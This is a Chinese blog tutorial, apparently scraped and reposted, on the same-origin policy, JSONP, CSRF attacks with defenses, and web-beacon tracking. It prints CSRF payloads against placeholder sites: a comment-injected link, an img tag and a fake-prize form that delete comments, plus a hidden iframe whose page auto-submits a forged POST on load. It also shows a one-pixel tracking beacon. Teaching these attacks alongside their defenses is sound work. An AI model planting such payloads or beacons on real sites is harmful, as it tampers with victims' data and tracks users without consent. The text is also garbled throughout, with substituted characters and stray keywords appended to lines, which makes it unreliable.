本人工做中偶尔会和浏览器打交道,也遇到过一些坑,在此分享一下网页跨域访问的相关场景和知识,但愿对读者有帮助。
本文来自于个人博客网站:www.51think.netjavascript
凡是与主站地址的域名、端口、协议不一致的其余请求,均可以认为是跨域访问。例如某网站的主站地址是https://www.abc.com,但网页又...(地址是https://img.abc.com),这就是一种跨域访问。html
所谓的同源策略是浏览器所遵循的一种安全约定。其限制了来自不一样源的document或者脚本对当前的document读取或设置某些属性。具体限制以下:
跨源网络访问:AJAX请求。
跨源 DOM 访问:DOM。
跨源脚本API访问: iframe.contentWindow, window.parent, window.open 和 window.opener前端
若是没有这些限制,那咱们就能够肆无忌惮的破坏其余网站的网页了。
跨域访问不是跨域攻击,业务上咱们的确有跨域访问的须要。
#### 一、经过标签的src或者href属性。
例如< script >、< img >、< iframe >、< link >,访问静态资源文件虽然是跨域,但不受同源策略限制,由于使用的是标签访问。src属性访问的地址是一次性的get访问,且是主站主动设置,相对安全。java
form表单提交到其余域也是被容许的。由于form提交意味着跳转到新的站点,是一个有去无回的页面跳转,不存在对原站点的脚本操做。ajax
这通常是跨域访问的经常使用手段,jsonp能够帮助咱们从另外一方站点获取数据,并做用于本地站点的页面。这是本地站点开发人员的主动行为。jsonp跨域使用的是script标签的跨域功能,经过src属性访问第三方系统并获取返回数组做用于本地函数中。假设在ablog.com的页面中访问bblog.com的服务,能够在页面中写入以下代码,callback参数定义是回调函数:数据库
< script src="http://bblog.com:8083/remote?callback=jsonhandle"></script> <script type="text/javascript"> function jsonhandle(data){ alert("age:" + data.age + "name:" + data.name); } </script>
bblog.com的服务端代码以下,须要按照回调函数名+(json数据)的格式返回:json
@GetMapping("/remote") @ResponseBody public String remote(HttpServletRequest request, Model model) { String callback=request.getParameter("callback"); String jsonpStr = callback + "(" + "{\"age\" : 15,\"name\": \"jack\",}"+ ")"; return jsonpStr; }
CORS 须要浏览器和服务器同时支持。目前,全部浏览器都支持该功能,IE 浏览器不能低于 IE10。后端
跨域攻击能够理解为:诱导受害者访问非法网站,黑客利用受害者的会话信息模拟请求,以达到篡改数据的目的。由此看来,跨域攻击有几个先决条件:跨域
第一点的页面入口很是重要,如何在目标网站(地址:http://ablog.com:8080)植入攻击者的代码?假设目标网站有评论功能,攻击者能够将本身的代码输入到评论区,若是目标网站没有XSS防护,则会将攻击者的代码以html的方式显示在网页上,这也就完成了第一点,提供了攻击入口。例如攻击者能够在评论区输入如下内容:数组
<a href="http://ablog.com:8080/admin/comments/delete?coid=39" >java速成,点我免费领取</a>
或者以下内容:
<img src=''http://ablog.com:8080/admin/comments/delete?coid=39“></img>
以上两个标签都会请求当前服务器,从而进行删除操做。咱们也发现到这两个请求都是get请求,若是服务端拒绝接受get请求,只接受post请求,是否是就没招了?毕竟标签里无法模拟post提交。可是攻击者能够模拟表单,代码以下:
<form action="http://ablog.com:8080/admin/comments/delete" method="post"> <input type="hidden" name="coid" value="39" /> <input type="submit" name="button" value="java速成,点我免费领取" /> </form>
将这段代码输入到评论区并显示,依然能够诱导受害者点击,完成post请求。攻击者也能够将更复杂的逻辑封装在本身搭建的网站中,假设黑客网站地址是http://bblog.com:8083,攻击者将参数传递给本身的服务器,实现跨域攻击,在目标网站ablog.com的评论区中留下以下代码:
<a href="http://bblog.com:8083/admin/comments/delete?coid=39" >java速成,点我免费领取</a> 在黑客网站bblog.com里模拟post请求到ablog.com: <form action="http://ablog.com:8080/admin/comments/delete" method="post"> <input type="hidden" name="coid" value="39" /> <input type="submit" name="button" value="java速成,点我免费领取" /> </form>
因为受害者在ablog.com中的会话仍然保持,这个模拟请求会带上受害者的会话信息,进行删除操做,而对于服务器端来讲是无感的。在bblog.com里模拟post请求到ablog.com,为什么没有被跨域拦截?上文有提到过,form表单提交是没有跨域限制的,这为跨域攻击也提供了便利。
上述攻击方式还不算隐蔽,毕竟须要受害者点击触发按钮,还须要页面跳转,太low。咱们可使用一个影藏的iframe完成攻击,使得攻击操做神不知鬼不觉。在网站ablog.com评论区中植入以下代码: <iframe style="display:none;" src="http://bblog.com:8083/csrf?coid=41"></iframe> form模拟提交的部分依然放在bblog.com中,使用脚本自动执行。部分代码以下: <script> function dianwoSub() { document.getElementById("dianwoForm").submit(); } </script> <body onload="dianwoSub()"> <div class="container"> <form action="http://ablog.com:8080/admin/comments/delete" method="post" id="dianwoForm"> <input type="hidden" name="coid" value="${coid}" /> <input type="submit" name="button" value="点我" /> </form> </div> </body>
在bblog.com中若是使用ajax来模拟请求攻击ablog.com会被浏览器拦截,ajax脚本以下:
function dianwoSub() { $.ajax({ type: 'post', url: 'http://ablog.com:8080/admin/comments/delete', data: $('#dianwoForm').serialize(), async: false, dataType: 'json', success: function (result) { alert(" delete ok"); } }); }
运行时,浏览器会报以下错误,即ablog和blog非同源,跨域访问被限制:
用户的任何输入必需要通过后台的校验,若是出现非法字符必定要拦截,将代码植入入口堵死。
get提交会下降攻击门槛。
网站系统在接受请求时,判断请求来源是不是可信任的,若是是非法的则须要拦截。
在作增删改操做时,强行让用户再次与后台交互,这能很大程度上避免攻击,可是影响用户体验。
用户在访问某一网页时,后端生成一个随机加密字符串放到session中,用户再次请求时携带此token,后端对比token是否正确,不正确则拦截请求。
网络信标又名网络臭虫,经过植入第三方代码来收集访问者信息。例如在ablog.com网站中植入以下代码:
<img src="http://bblog.com:8083/netflag" height="1" width="1" ></img>
大小仅为一个像素,用户很难发现。凡是打开植入此代码的网页,都会访问bblog.com,bblog.com后台可以收集到以下信息:
经过以上信息,咱们能够给用户设置一个惟一标记,并写入到cookie中,例如bloguser=user_127.0.0.11540367865328。后端同时将此标记以及对应信息保存到数据库中,这样能够跟踪某一特定用户的访问路径。假设一个集团公司的业务范围很是广,其信息化系统包含多个二级域名,好比注册页面是login.blog.com,充值页面是deposit.xyz.com,购物页面是shopping.abc.com等,这些域名的cookie是没法共享的,这时候能够采起网络信标的方式,在全部主页上均植入上述代码,经过第三方cookie的方式,将访问者信息所有串联起来。 网络信标的另一种使用场景是广告推荐。百度的广告联盟就是很好的例子。咱们在百度上搜索一些关键字以后,访问其余网站时(例如CSDN)会发现,为什么我刚刚搜索的关键字图片会在CSDN网页上显示?那CSDN颇有可能放置了百度的脚本代码。用户在百度上进行搜索以后,百度将搜索关键字写入到用户的cookie信息中,CSDN内置了百度的广告代码,这个代码会访问百度服务器,同时会带上百度以前设置的cookie,百度后台根据关键字来响应相关图片或者文字连接,达到精准投放广告的效果。 如今咱们来模拟一下百度广告联盟的效果。假设bblog.com就是百度系统,咱们模拟一个搜索页面,并搜索关键字“手机”: 
bblog.com的后端将手机写入到cookie,key为sosuoPara:
setCookie(response,"sosuoPara",sosuoPara,60*60); bblog.com的合做网站ablog.com内置了bblog.com广告代码: <div class="card mb-3"> <div class="card-header"> 广告页 </div> <div class="card-body"> <iframe src="http://bblog.com:8083/guanggao"></iframe> </div> </div>
这段广告代码的后端逻辑是取出cookie信息,获得搜索关键字,后端进行匹配处理,返回给前端广告。这时候咱们看一下ablog.com的主页广告,见以下红框位置: